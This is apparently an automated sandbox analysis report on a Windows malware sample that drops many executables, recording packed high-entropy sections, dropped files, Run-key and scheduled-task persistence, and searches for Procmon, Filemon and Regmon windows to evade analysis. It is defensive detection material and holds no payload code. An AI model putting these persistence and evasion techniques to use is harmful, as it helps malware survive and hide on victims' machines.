Source: 8639af97b9.exe.2.dr	Static PE information: section name: irdueqtp
Source: 8639af97b9.exe.2.dr	Static PE information: section name: .taggant
Source: service123.exe.6.dr	Static PE information: section name: .eh_fram
Source: ehoYPkfWhVokJMBQaExv.dll.6.dr	Static PE information: section name: .eh_fram
Source: NGOMEG1CQCQ279X0PYL4.exe.7.dr	Static PE information: section name:
Source: NGOMEG1CQCQ279X0PYL4.exe.7.dr	Static PE information: section name: .idata
Source: NGOMEG1CQCQ279X0PYL4.exe.7.dr	Static PE information: section name: epdlxdrm
Source: NGOMEG1CQCQ279X0PYL4.exe.7.dr	Static PE information: section name: ksjtzbhl
Source: NGOMEG1CQCQ279X0PYL4.exe.7.dr	Static PE information: section name: .taggant
Source: ON80Y93WBYHTIEIKRLTF27273JXE.exe.7.dr	Static PE information: section name:
Source: ON80Y93WBYHTIEIKRLTF27273JXE.exe.7.dr	Static PE information: section name: .idata
Source: ON80Y93WBYHTIEIKRLTF27273JXE.exe.7.dr	Static PE information: section name:
Source: ON80Y93WBYHTIEIKRLTF27273JXE.exe.7.dr	Static PE information: section name: yxtglqzl
Source: ON80Y93WBYHTIEIKRLTF27273JXE.exe.7.dr	Static PE information: section name: ovmlmqjr
Source: ON80Y93WBYHTIEIKRLTF27273JXE.exe.7.dr	Static PE information: section name: .taggant
Source: 6LLT7I405VVFPGR4K34JYO7L59M7E3.exe.15.dr	Static PE information: section name:
Source: 6LLT7I405VVFPGR4K34JYO7L59M7E3.exe.15.dr	Static PE information: section name: .idata
Source: 6LLT7I405VVFPGR4K34JYO7L59M7E3.exe.15.dr	Static PE information: section name:
Source: 6LLT7I405VVFPGR4K34JYO7L59M7E3.exe.15.dr	Static PE information: section name: yxtglqzl
Source: 6LLT7I405VVFPGR4K34JYO7L59M7E3.exe.15.dr	Static PE information: section name: ovmlmqjr
Source: 6LLT7I405VVFPGR4K34JYO7L59M7E3.exe.15.dr	Static PE information: section name: .taggant
Source: KVK4REO25LWHL4OY.exe.15.dr	Static PE information: section name:
Source: KVK4REO25LWHL4OY.exe.15.dr	Static PE information: section name: .idata
Source: KVK4REO25LWHL4OY.exe.15.dr	Static PE information: section name: epdlxdrm
Source: KVK4REO25LWHL4OY.exe.15.dr	Static PE information: section name: ksjtzbhl
Source: KVK4REO25LWHL4OY.exe.15.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068D91C push ecx; ret	0_2_0068D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00681359 push es; ret	0_2_0068135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00E0D91C push ecx; ret	3_2_00E0D92F
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF56 push esp; iretd	7_3_0112CF59
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF56 push esp; iretd	7_3_0112CF59
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF56 push esp; iretd	7_3_0112CF59
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF56 push esp; iretd	7_3_0112CF59
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF5A pushad ; iretd	7_3_0112CF61
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF5A pushad ; iretd	7_3_0112CF61
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF5A pushad ; iretd	7_3_0112CF61
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF5A pushad ; iretd	7_3_0112CF61
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF4E push esp; iretd	7_3_0112CF55
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF4E push esp; iretd	7_3_0112CF55
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF4E push esp; iretd	7_3_0112CF55
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF4E push esp; iretd	7_3_0112CF55
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF62 pushad ; iretd	7_3_0112CF65
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF62 pushad ; iretd	7_3_0112CF65
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF62 pushad ; iretd	7_3_0112CF65
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF62 pushad ; iretd	7_3_0112CF65
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF96 pushfd ; iretd	7_3_0112CF9D
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF96 pushfd ; iretd	7_3_0112CF9D
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF96 pushfd ; iretd	7_3_0112CF9D
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF96 pushfd ; iretd	7_3_0112CF9D
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF9E pushfd ; iretd	7_3_0112CFA1
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF9E pushfd ; iretd	7_3_0112CFA1
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF9E pushfd ; iretd	7_3_0112CFA1
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112CF9E pushfd ; iretd	7_3_0112CFA1
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112B1B9 push eax; retf 0046h	7_3_0112B1BA
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112B1B9 push eax; retf 0046h	7_3_0112B1BA
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112B1B9 push eax; retf 0046h	7_3_0112B1BA
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_0112B1B9 push eax; retf 0046h	7_3_0112B1BA

Source: file.exe	Static PE information: section name: entropy: 7.976947403849739
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.976947403849739
Source: 741343eac3.exe.2.dr	Static PE information: section name: entropy: 7.803072160665608
Source: 741343eac3.exe.2.dr	Static PE information: section name: yxtglqzl entropy: 7.953962154672517
Source: random[2].exe.2.dr	Static PE information: section name: entropy: 7.9719040767648846
Source: random[2].exe.2.dr	Static PE information: section name: icaenpzq entropy: 7.951042373326118
Source: dca2c3185c.exe.2.dr	Static PE information: section name: entropy: 7.9719040767648846
Source: dca2c3185c.exe.2.dr	Static PE information: section name: icaenpzq entropy: 7.951042373326118
Source: random[1].exe.2.dr	Static PE information: section name: entropy: 7.978999190779014
Source: random[1].exe.2.dr	Static PE information: section name: ysbjspdj entropy: 7.953167944588086
Source: bfa374134d.exe.2.dr	Static PE information: section name: entropy: 7.978999190779014
Source: bfa374134d.exe.2.dr	Static PE information: section name: ysbjspdj entropy: 7.953167944588086
Source: random[1].exe2.2.dr	Static PE information: section name: ocsbkfkw entropy: 7.956906255331213
Source: 2db16943cb.exe.2.dr	Static PE information: section name: ocsbkfkw entropy: 7.956906255331213
Source: random[2].exe0.2.dr	Static PE information: section name: entropy: 7.803072160665608
Source: random[2].exe0.2.dr	Static PE information: section name: yxtglqzl entropy: 7.953962154672517
Source: 8be8d9c4e9.exe.2.dr	Static PE information: section name: entropy: 7.803072160665608
Source: 8be8d9c4e9.exe.2.dr	Static PE information: section name: yxtglqzl entropy: 7.953962154672517
Source: 02a06b55a8.exe.2.dr	Static PE information: section name: ocsbkfkw entropy: 7.956906255331213
Source: 8639af97b9.exe.2.dr	Static PE information: section name: entropy: 7.978999190779014
Source: 8639af97b9.exe.2.dr	Static PE information: section name: ysbjspdj entropy: 7.953167944588086
Source: ON80Y93WBYHTIEIKRLTF27273JXE.exe.7.dr	Static PE information: section name: entropy: 7.803072160665608
Source: ON80Y93WBYHTIEIKRLTF27273JXE.exe.7.dr	Static PE information: section name: yxtglqzl entropy: 7.953962154672517
Source: 6LLT7I405VVFPGR4K34JYO7L59M7E3.exe.15.dr	Static PE information: section name: entropy: 7.803072160665608
Source: 6LLT7I405VVFPGR4K34JYO7L59M7E3.exe.15.dr	Static PE information: section name: yxtglqzl entropy: 7.953962154672517

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File created: C:\Users\user\AppData\Local\Temp\KVK4REO25LWHL4OY.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016948001\3ca19a76c8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016944001\45ee3ccff8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File created: C:\Users\user\AppData\Local\Temp\NGOMEG1CQCQ279X0PYL4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016942001\dca2c3185c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File created: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016946001\02a06b55a8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016945001\x0qQ2DH.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016943001\093ffd8e79.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016950001\741343eac3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\random[3].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File created: C:\Users\user\AppData\Local\Temp\ehoYPkfWhVokJMBQaExv.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016949001\093821f656.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\x0qQ2DH[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File created: C:\Users\user\AppData\Local\Temp\6LLT7I405VVFPGR4K34JYO7L59M7E3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016947001\8639af97b9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3ca19a76c8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 093821f656.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 741343eac3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f48847f8be.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8be8d9c4e9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bfa374134d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2f7f14fa8e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8639af97b9.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bfa374134d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bfa374134d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f48847f8be.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f48847f8be.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2f7f14fa8e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2f7f14fa8e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8be8d9c4e9.exe	Jump to behavior
